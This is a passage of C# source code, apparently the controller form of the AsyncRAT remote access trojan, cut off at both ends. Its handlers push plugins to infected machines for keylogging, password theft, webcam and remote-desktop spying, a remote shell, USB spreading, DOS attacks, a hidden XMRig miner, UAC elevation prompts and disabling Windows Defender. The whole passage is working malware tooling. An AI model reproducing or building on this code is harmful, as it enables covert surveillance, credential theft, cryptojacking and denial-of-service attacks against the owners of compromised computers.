7LT2XwZP1KcdjqDo4HAJE3b60WeMNby2bJ0tuUh55VlMqVpmV6S//g4d9H3KfrOH6mQ3hKyRExYzDfYSZHMC/FjWhb8r+FQndPHbyTkk6uKPWKZhej9cp5j5gns7WC66rQTvgpEqXvVoKNbSc3GrisKuBoBDf7xNz9y94IZX7TnY1PHWjYZEs5abWnX8J2HOrHcmrrPYusIzJz/K3u7u8Cf/FXlOR3hTa2CRzfL5iSXw/krJ84+XwGKN0T1YJUcM+tUrOZVartzYkAdKkDIK3aCT+FrJlcb1RozhCeNNggB5PxFgKBlAClrrY6Iw+jMDn+z7nH2rfA25oRc3wTbA7N7d234EZu/wy5UBC8dPgOGWvTKwm3RhaCDCCGH0j2prAoulzJ3/5xKMvvwIyGdy06iikQ35X7udlCAIyft0f6hg5bT4GB0hed7YNEt1cmNDWjiIKqDSMb/oHsy6/VqtisvxVosxPbjzJTO8wOGq/NPUy+CT1dt+FuWLAWXvwc7+svsXM2Frnda0wN6BiEN/fs3hRv4qmQzMqpD/ypow277uLwfLL4jd380zkWSRaXt2K48640SGfIf+ktHkQnXCWLQB3uJhtB4pn5QKIZJJjlOgvaKaEIAX5MtmT+OESBzZBe4mPC7L0NqwvMx1hTQwUrSexL4BYOjRdvmFoe5Y9tB4+iHNk/ADa/XGAmDTtalJsd82A12WKFxtLwxYZeZATTH1ZHVL6GKfuv7FA8BCDRuO8Y2iG3+eVlVgP+ucxjg53UVdnr7Kc6+SZzHXxkjgFIr+Kx283JCuuqHe6OvDapM9TImPmL6xE/xoIFuWVSFxB3IVJdMsZ6KT3SOUHqD6Qh2nqTd3/NAVW6RJ5f2Agu+4aSusJ179Ykx3D05R81QhKWHiUeJ9ELE+z9DCNoT7sP+hknboF6BB4kIoboVWLHYTZAH+ROTD/fgCCTaNaJ5GxlkHGcIwlv6o9u2sdMvO3YbRa0C97t0F9baV51EJ7STQxJfRE+YpJeqHsHSzda3Hc52YM74TOqu38l+VIOokUBsBA44XQtWIQwBH4OqWC4/Ykz3+KMXv2k1H/bhJQIYnZ1h82/qNs4/SPaneyWCWJTLwIkOT+ESLWmP1NytTF/mG/PeGP8d8XFaPNLBtoBpUcuY4rnzE32sVNA3M98LnNIvroRPa3KmUMkI6dwr8oJFA5Cade6DzYMV6l7cn34Po7u4We7XpQRaOwopWdfGE6QIZ7xUTo/D+drTsHykVru0QxoTRG6Fyr81SQrb3Gnl8WJElD2WU4fNP43SmwbQuHnzfjXE0xPGtrhnKM1Wqb/4PDnzWo8m9Y0V0VMzKq87mYfMv6JeEzmD7lzFg0Pa4ZRr59AsB2FRL7WXZSyLCl4XURmHuPSBh0IKCNDPM1Jx53+Jganh2d/hPdLoJ67MU5OX+kQQjqJbTkRtPGyVTudGK8PLKcGsZbgcspoSeOFGd/4ekwU9uONG13UkOWhwxH0TCaVyQDwriXJBkDuRkUc4xHRyYV4tOsdXEThJAfxyvhS6OnXf0QTgxpi9QHSkm8ck2YxckI2OLjxhUybzi1NBlE+/ze/+u8bEzFsokDV4Gyu1tveic6vSiMnkgw4GVfKZUlTb4p7gmu5cLnvvvOYUbCC0arqHeInK9qYDK0HLugXghW2cJ/7IraPtGVllWOY90UwNzAfMAcGBSsOAwIaBBTULviP2846Mwx7HQYbZhU6jWY93AQUFgDaajoQ8JghV3gqHvkwWdGC35g=")); Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); thread.IsBackground = true; thread.Start(6606); #else using (FormPorts portsFrm = new FormPorts()) { portsFrm.ShowDialog(); } #endif await Methods.FadeIn(this, 5); trans = true; if (Properties.Settings.Default.Notification == true) { toolStripStatusLabel2.ForeColor = Color.Green; } else { toolStripStatusLabel2.ForeColor = Color.Black; } new Thread(() => { Connect(); }).Start(); } private void Form1_Activated(object sender, EventArgs e) { if (trans) this.Opacity = 1.0; } private void Form1_Deactivate(object sender, EventArgs e) { this.Opacity = 0.95; } private void Form1_FormClosed(object sender, FormClosedEventArgs e) { notifyIcon1.Dispose(); Environment.Exit(0); } private void listView1_KeyDown(object sender, KeyEventArgs e) { if (listView1.Items.Count > 0) if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) foreach (ListViewItem x in listView1.Items) x.Selected = true; } private void listView1_MouseMove(object sender, MouseEventArgs e) { if (listView1.Items.Count > 1) { ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location); if (e.Button == MouseButtons.Left && (hitInfo.Item != null || hitInfo.SubItem != null)) listView1.Items[hitInfo.Item.Index].Selected = true; } } private void ListView1_ColumnClick(object sender, ColumnClickEventArgs e) { if (e.Column == lvwColumnSorter.SortColumn) { if (lvwColumnSorter.Order == SortOrder.Ascending) { lvwColumnSorter.Order = SortOrder.Descending; } else { lvwColumnSorter.Order = SortOrder.Ascending; } } else { lvwColumnSorter.SortColumn = e.Column; lvwColumnSorter.Order = SortOrder.Ascending; } this.listView1.Sort(); } private void ToolStripStatusLabel2_Click(object sender, EventArgs e) { if (Properties.Settings.Default.Notification == true) { Properties.Settings.Default.Notification = false; toolStripStatusLabel2.ForeColor = Color.Black; } else { Properties.Settings.Default.Notification = true; toolStripStatusLabel2.ForeColor = Color.Green; } Properties.Settings.Default.Save(); } #endregion #region MainTimers private void ping_Tick(object sender, EventArgs e) { if (listView1.Items.Count > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Message").AsString = "This is a ping!"; foreach (Clients client in GetAllClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } GC.Collect(); } } private void UpdateUI_Tick(object sender, EventArgs e) { Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}"; lock (Settings.LockListviewClients) toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.SentValue).ToString()} Received {Methods.BytesToString(Settings.ReceivedValue).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } #endregion #region Client #region Send File private void TOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) { try { FormSendFileToMemory formSend = new FormSendFileToMemory(); formSend.ShowDialog(); if (formSend.IsOK) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendMemory"; packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()))); if (formSend.comboBox1.SelectedIndex == 0) { packet.ForcePathObject("Inject").AsString = ""; } else { packet.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; } MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } formSend.Close(); formSend.Dispose(); } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private async void TODISKToolStripMenuItem_Click(object sender, EventArgs e) { try { using (OpenFileDialog openFileDialog = new OpenFileDialog()) { openFileDialog.Multiselect = true; if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendFile"; packet.ForcePathObject("Update").AsString = "false"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); foreach (Clients client in GetSelectedClients()) { client.LV.ForeColor = Color.Red; foreach (string file in openFileDialog.FileNames) { await Task.Run(() => { packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(file))); packet.ForcePathObject("Extension").AsString = Path.GetExtension(file); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); }); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region Monitoring private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack msgpack = new MsgPack(); //DLL Plugin msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteDesktop.dll")); foreach (Clients client in GetSelectedClients()) { FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; if (remoteDesktop == null) { remoteDesktop = new FormRemoteDesktop { Name = "RemoteDesktop:" + client.ID, F = this, Text = "RemoteDesktop:" + client.ID, ParentClient = client, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") }; remoteDesktop.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void KeyloggerToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\LimeLogger.dll")); foreach (Clients client in GetSelectedClients()) { FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL == null) { KL = new FormKeylogger { Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, F = this, }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\FileManager.dll")); foreach (Clients client in GetSelectedClients()) { FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (fileManager == null) { fileManager = new FormFileManager { Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID) }; fileManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); tabControl1.SelectedIndex = 1; } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\ProcessManager.dll")); foreach (Clients client in GetSelectedClients()) { FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; if (processManager == null) { processManager = new FormProcessManager { Name = "processManager:" + client.ID, Text = "processManager:" + client.ID, F = this, ParentClient = client }; processManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void RunToolStripMenuItem1_Click(object sender, EventArgs e) { try { string title = Interaction.InputBox("SEND A NOTIFICATION WHEN CLIENT OPEN A SPECIFIC WINDOW", "TITLE", "YouTube, Photoshop, Steam"); if (string.IsNullOrEmpty(title)) return; else { lock (Settings.LockReportWindowClients) { Settings.ReportWindowClients.Clear(); Settings.ReportWindowClients = new List<Clients>(); } Settings.ReportWindow = true; MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "reportWindow"; packet.ForcePathObject("Option").AsString = "run"; packet.ForcePathObject("Title").AsString = title; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void StopToolStripMenuItem2_Click(object sender, EventArgs e) { try { Settings.ReportWindow = false; MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "reportWindow"; packet.ForcePathObject("Option").AsString = "stop"; lock (Settings.LockReportWindowClients) foreach (Clients clients in Settings.ReportWindowClients) { ThreadPool.QueueUserWorkItem(clients.Send, packet.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void WebcamToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteCamera.dll")); foreach (Clients client in GetSelectedClients()) { FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; if (remoteDesktop == null) { remoteDesktop = new FormWebcam { Name = "Webcam:" + client.ID, F = this, Text = "Webcam:" + client.ID, ParentClient = client, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera") }; remoteDesktop.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region Miscellaneous private void BotsKillerToolStripMenuItem_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "botKiller"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } new HandleLogs().Addmsg("Sending Botkiller..", Color.Black); tabControl1.SelectedIndex = 1; } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void USBSpreadToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "limeUSB"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } { } } private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e) { using (FormTorrent formTorrent = new FormTorrent()) { formTorrent.ShowDialog(); } } private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "shell"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; if (shell == null) { shell = new FormShell { Name = "shell:" + client.ID, Text = "shell:" + client.ID, F = this, }; shell.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private readonly FormDOS formDOS; private void DOSAttackToolStripMenuItem_Click_1(object sender, EventArgs e) { try { if (listView1.Items.Count > 0) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "dosAdd"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } formDOS.Show(); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void ExecuteNETCodeToolStripMenuItem_Click_1(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { using (FormDotNetEditor dotNetEditor = new FormDotNetEditor()) { dotNetEditor.ShowDialog(); } } } private void RunToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { using (FormMiner form = new FormMiner()) { if (form.ShowDialog() == DialogResult.OK) { if (!File.Exists(@"Plugins\xmrig.bin")) { File.WriteAllBytes(@"Plugins\xmrig.bin", Properties.Resources.xmrig); } MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "xmr"; packet.ForcePathObject("Command").AsString = "run"; XmrSettings.Pool = form.txtPool.Text; packet.ForcePathObject("Pool").AsString = form.txtPool.Text; XmrSettings.Wallet = form.txtWallet.Text; packet.ForcePathObject("Wallet").AsString = form.txtWallet.Text; XmrSettings.Pass = form.txtPass.Text; packet.ForcePathObject("Pass").AsString = form.txtPool.Text; XmrSettings.InjectTo = form.comboInjection.Text; packet.ForcePathObject("InjectTo").AsString = form.comboInjection.Text; XmrSettings.Hash = GetHash.GetChecksum(@"Plugins\xmrig.bin"); packet.ForcePathObject("Hash").AsString = XmrSettings.Hash; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void KillToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "xmr"; packet.ForcePathObject("Command").AsString = "stop"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region Extra private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e) { try { string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); if (string.IsNullOrEmpty(url)) return; else { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "visitURL"; packet.ForcePathObject("URL").AsString = url; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void SendMessageBoxToolStripMenuItem1_Click(object sender, EventArgs e) { try { string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!"); if (string.IsNullOrEmpty(Msgbox)) return; else { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendMessage"; packet.ForcePathObject("Message").AsString = Msgbox; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void ChatToolStripMenuItem1_Click(object sender, EventArgs e) { try { foreach (Clients client in GetSelectedClients()) { FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; if (chat == null) { chat = new FormChat { Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, ParentClient = client }; chat.Show(); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void GetAdminPrivilegesToolStripMenuItem_Click_1(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { DialogResult dialogResult = MessageBox.Show(this, "Popup UAC prompt? ", "AsyncRAT | UAC", MessageBoxButtons.YesNo, MessageBoxIcon.Information); if (dialogResult == DialogResult.Yes) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "uac"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { if (client.LV.SubItems[lv_admin.Index].Text != "Administrator") { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } } } private void DisableWindowsDefenderToolStripMenuItem_Click_1(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information); if (dialogResult == DialogResult.Yes) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "disableDefedner"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { if (client.LV.SubItems[lv_admin.Index].Text == "Admin") { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } } } private void RunToolStripMenuItem2_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "blankscreen+"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void StopToolStripMenuItem1_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "blankscreen-"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void setWallpaperToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { using (OpenFileDialog openFileDialog = new OpenFileDialog()) { openFileDialog.Filter = "All Graphics Types|*.bmp;*.jpg;*.jpeg;*.png"; if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "wallpaper"; packet.ForcePathObject("Image").SetAsBytes(File.ReadAllBytes(openFileDialog.FileName)); packet.ForcePathObject("Exe").AsString = Path.GetExtension(openFileDialog.FileName); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region System Client private void CloseToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "close"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void RestartToolStripMenuItem2_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "restart"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void UpdateToolStripMenuItem2_Click(object sender, EventArgs e) { try { using (OpenFileDialog openFileDialog = new OpenFileDialog()) { if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendFile"; packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName))); packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); packet.ForcePathObject("Update").AsString = "true"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void UninstallToolStripMenuItem_Click(object sender, EventArgs e) { DialogResult dialogResult = MessageBox.Show(this, "Are you sure you want to unistall", "AsyncRAT | Unistall", MessageBoxButtons.YesNo, MessageBoxIcon.Information); if (dialogResult == DialogResult.Yes) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "uninstall"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } } private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e) { try { Clients[] clients = GetSelectedClients(); if (clients.Length == 0) { Process.Start(Application.StartupPath); return; } foreach (Clients client in clients) { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID); if (Directory.Exists(fullPath)) { Process.Start(fullPath); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region System PC private void RestartToolStripMenuItem3_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "pcOptions"; packet.ForcePathObject("Option").AsString = "restart"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void ShutdownToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "pcOptions"; packet.ForcePathObject("Option").AsString = "shutdown"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in 